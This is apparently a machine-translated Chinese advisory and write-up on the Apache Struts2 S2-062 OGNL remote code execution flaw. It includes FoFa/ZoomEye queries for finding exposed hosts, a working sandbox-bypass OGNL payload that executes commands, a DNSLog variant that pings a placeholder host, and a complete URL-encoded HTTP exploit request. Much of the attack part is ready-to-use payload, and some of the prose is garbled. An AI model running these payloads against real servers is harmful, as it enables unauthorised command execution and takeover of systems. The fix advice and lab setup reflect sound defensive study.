简介
2022年4月12日,Apache发布安全公告,修复Apache Struts2 中远程代码执行漏洞S2-062(CVE-攻击者可以利用这个漏洞来控制受影响的系统。该漏洞是由于 2020 年 S2-061(CVE-开发人员使用2020-17530)不完整修复造成的 %{…}
强制语法OGNL
在分析过程中,仍然有一些特殊的分析TAG属性可以二次分析,攻击者可以构成恶意OGNL
表达式触发漏洞,实现远程代码执行。
影响范围
2.0.0 <= Apache Struts2 <= 2.5.29
搜索语法
FoFa
app="Struts2"
ZoomEye
app:"Struts2"
app:"Apache Struts2"
漏洞分析
与 S2-059 开发人员使用语法的人员使用语法%{}
定义属性值,使页面动态并引入 url 参数。例如,如果将 url 参数skillName
通常访问页面https://<domain>/?skillName=abctest
,单次执行后端代码 OGNL
分析,检索 GET 参数传入的数据
<s:url action="list" namespace="/employee" var="url"> <s:a href="%{url}" id="%{skillName}">List available Employees</s:a> </s:url>
但是,当用户输入的数据执行两次时 OGNL
在分析,会有漏洞。 当访问https://<domain>/?skillName=%{3*3}
后端将执行两次OGNL
导致分析id=9
。
S2-061的修复https://github.com/apache/struts/commit/0a75d8e8fa3e75d538fb0fcbc75473bdbff9209e
,主要集中在UIBean
类。两个 OGNL
其中一个评估发生在 setId
在函数期间,当它调用时 findString(id)
增加递归检查,不进行 OGNL
解析。
局部变量name
上调用 completeExpressionIfAltSyntax
并分配给它 expr
,但在最终 OGNL
分析局部变量expr
以前局部变量name
递归检查。
但是,如果不是局部变量name
进行第二次 OGNL
解析,name
不包括用户提供的来源 URL 然而,参数数据evaluateParams
另一个执行在函数中 OGNL
解析。
这意味着对某些 UIBean
标记的名称属性容易两次 OGNL
假如它们不包含值参数, 可能导致远程代码执行。
一些非常有才华的研究人员发现,你可以绕过以下方法 OGNL/Struts
沙盒限制:
#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')
创建一个 BeanMap
并使用它的setBean和put函数来清除excludedPackageNames 和excludedClasses
取消沙箱限制,但新的沙箱限制阻止了 org.apache.tomcat.*
的使用:
自定义可以创建Map
类,也可以创建一个 BeanMap
对象。以前创建 BeanMap
的方法是:
#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')
现在可以用更简单的方法创建:
#@org.apache.commons.collectins.BeanMap@{
}
使用 org.apache.commons.collections.BeanMap
没有任何沙盒限制,因此通过使用特殊的 OGNL
语法直接创建就可以绕过所有以前的沙盒限制。Payload如下(在S2-061的基础上去掉%{}
):
(#request.map=#@org.apache.commons.collections.BeanMap@{
}).toString().substring(0,0) +(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +(#request.map2=#@org.apache.commons.collections.BeanMap@{
}).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +(#request.map3=#@org.apache.commons.collections.BeanMap@{
}).toString().substring(0,0) +(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{
}.keySet()) == true).toString().substring(0,0) +(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{
}.keySet()) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))
漏洞检测
-
算术运行/预期字符串/MD5
有回显的情况下,使用3*3,?id=+'test'+%2b+(2000+%2b+20).toString(),使用Payload执行echo $str1$str2,expr 123 + 123等方式
-
DNSLog
(#request.map=#@org.apache.commons.collections.BeanMap@{ }).toString().substring(0,0) +(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +(#request.map2=#@org.apache.commons.collections.BeanMap@{ }).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +(#request.map3=#@org.apache.commons.collections.BeanMap@{ }).toString().substring(0,0) +(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{ }.keySet()) == true).toString().substring(0,0) +(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{ }.keySet()) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'ping xxx.dnslog.xx'}))
-
命令执行
(#request.map=#@org.apache.commons.collections.BeanMap@{ }).toString().substring(0,0) +(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +(#request.map2=#@org.apache.commons.collections.BeanMap@{ }).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +(#request.map3=#@org.apache.commons.collections.BeanMap@{ }).toString().substring(0,0) +(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{ }.keySet()) == true).toString().substring(0,0) +(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{ }.keySet()) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))
漏洞复现
漏洞环境docker-compose.yml:
version: '2'
services:
struts2:
image: vulhub/struts2:2.5.25
ports:
- "58080:8080"
测试数据包:
POST / HTTP/1.1
Host: x.x.x.x:58080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=node01s6jfwzu7jiaso84yeylhndzq2863.node0 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 1045 id=%25{(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))}
测试结果:
Pocsuite
检测代码:
漏洞检测:
漏洞利用:
反弹shell:
Xray
修复建议
-
禁用
org.apache.commons.collection.BeanMap
-
升级到2.5.29以上
参考文章
https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html
广告
欢迎加入萌妹子的星球